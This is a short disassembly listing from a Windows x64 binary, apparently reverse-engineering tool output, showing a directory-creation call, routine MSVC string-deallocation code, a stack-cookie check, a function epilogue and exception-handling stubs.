call fcn.1400027d0
test al, al
jne 0x140017c95
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140017cd4
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017cce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017cce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0x10
jb 0x140017d12
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017d0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017d0d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0x10
jb 0x140017d64
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017d5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017d5f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e2dc
mov rax, r15
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.14001e280
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001280
nop
call fcn.140001280
int3
call fcn.140001280
nop
call fcn.140001280
nop
call fcn.140001280
int3
call fcn.1400011e0
int3
call fcn.140001280
int3